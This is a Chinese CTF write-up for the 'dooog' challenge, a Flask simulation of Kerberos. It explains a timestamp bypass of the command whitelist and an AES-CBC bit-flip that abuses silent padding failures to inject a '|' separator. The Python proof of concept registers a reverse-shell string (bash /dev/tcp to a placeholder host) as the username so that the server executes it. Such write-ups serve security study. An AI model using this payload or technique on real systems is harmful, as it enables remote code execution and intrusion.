高校抗疫CTF dooog write up

0x00 dooog

看下源码,给了三个flask搞得server,一个client一个kdc一个cmdserver

出题人用python模拟了一个Kerberos认证的服务。真是日了狗了

借个图

Kerberos认证分三步

  1. 从AS拿TGT
  2. 用TGT从TGS拿服务票据
  3. 拿服务票据去访问服务

读一下源码大概画了个图

emmmmmm字丑,不重要不重要(

蓝线是加密。绿线是解密。彩色线是对比

KDC

Service

这里有限制,TGS会判断cmd是否是whoami或者ls,然后拿服务账号的master_key加密

第一种做法

看到这里

而TGT里面没有时间,这个client给的auth是可控的

所以直接把时间减小,多出的送给某位老人,即可跳过TGS对cmd的限制

然而我不是这么做的。。。想麻烦了

第二种做法

当时觉得把字符串用|拼成一块再split很蠢,里面如果某个参数可控,插一个|就让他gg了。

尝试在user里面插|,但是在TGS那里直接挂逼,它要三个username对的上才行,但是TGT里面那个控制不了,是拿KDC的key加密的。

然后看了一下它很蛇皮的AES-CBC实现

???发现pad炸了都不报错的???

然后看了下cmdserver的实现

    msg = cryptor.decrypt(base64.b64decode(server_message)).split('|')
    session_key = msg[0]
    cryptor = AESCipher(session_key)
    username = cryptor.decrypt(base64.b64decode(authenticator))
    if username == msg[1]:
        print("[+] system:",msg[2])
        os.system(msg[2])
        return 'execute success'

这个server_message是用服务账号加密的,里面是用|隔开的三个参数,session_key和username和cmd

然后用session_key去解密客户端发来的另一个参数auth,得到用户名。和上面的第二个用户名对比,ok了就执行命令

就是上面那个图

发现session_key长度是32,那么想要靠split来控制cmd,必须要让session_key或者user其中之一插入一个|

但是前文说了改username过不了TGS那个split,session_key又改不了。

然后突然想到了那个蛇皮的Padding实现,如果解密出错应该返回一个空字符串,如果让server_msg里面的user也是空字符串,就可以通过用户名验证。

所以用CBC字节反转,把session_key第31位也变成|

传入的server_msg解密之后就是这样

('cmd_server decrypt', '{\xba`\xff\x00)GW\n\xd6\x8fKG\xe1\x93\xaf05fe301bacb7ff2||bash -c "bash -i >& /dev/tcp/x.x.x.x/8080 0>&1"|whoami')

前16个字节被搞乱了,不过无所谓

这一大坨乱码去解密auth肯定解不了,然后返回一个空串

然后user和msg[1]都是空串,真实的user被当成cmd执行了

然后就日了狗狗狗了(

POC

from toolkit import AESCipher
import json
import time
import base64
import requests

username="bash -c \"bash -i >& /dev/tcp/x.x.x.x/8080 0>&1\""
master_key="naivekun123"
cmd="whoami"

#register
r=requests.post("http://127.0.0.1:5001/register",data={"username":username, "master_key":master_key})
print("register",r.text)

cryptor = AESCipher(master_key)

authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))
res = requests.post('http://127.0.0.1:5001/getTGT', data={'username': username, 'authenticator': base64.b64encode(authenticator)})
print("[+] res:",res.text)

session_key, TGT = cryptor.decrypt(base64.b64decode(res.content.decode().split('|')[0])), res.content.decode().split('|')[1]
print(session_key, TGT)

cryptor = AESCipher(session_key)
authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': int(time.time())}))
import base64
data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), "TGT":TGT}
print(data)
res = requests.post('http://127.0.0.1:5001/getTicket',  data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': TGT})
print("[+] res",res.content)

client_message, server_message = res.text.split('|')
session_key = cryptor.decrypt(base64.b64decode(client_message))
cryptor = AESCipher(session_key)

username='a'
authenticator = base64.b64encode(cryptor.encrypt(username))


#  cbc
# 536ff702b2166e5a
# a0fb499d7d531d27
# |naivedog|whoami

server_message = base64.b64decode(server_message.encode())

offset = 15
print("original:",server_message)
new_server_msg = server_message[:offset] + bytes([server_message[offset]^session_key[offset+16]^ord("|")])+server_message[offset+1:]
print("post:",new_server_msg)

new_server_msg = base64.b64encode(new_server_msg).decode()

res = requests.post('http://127.0.0.1:5002/cmd', data={'server_message': new_server_msg, 'authenticator': authenticator})
print(res.text)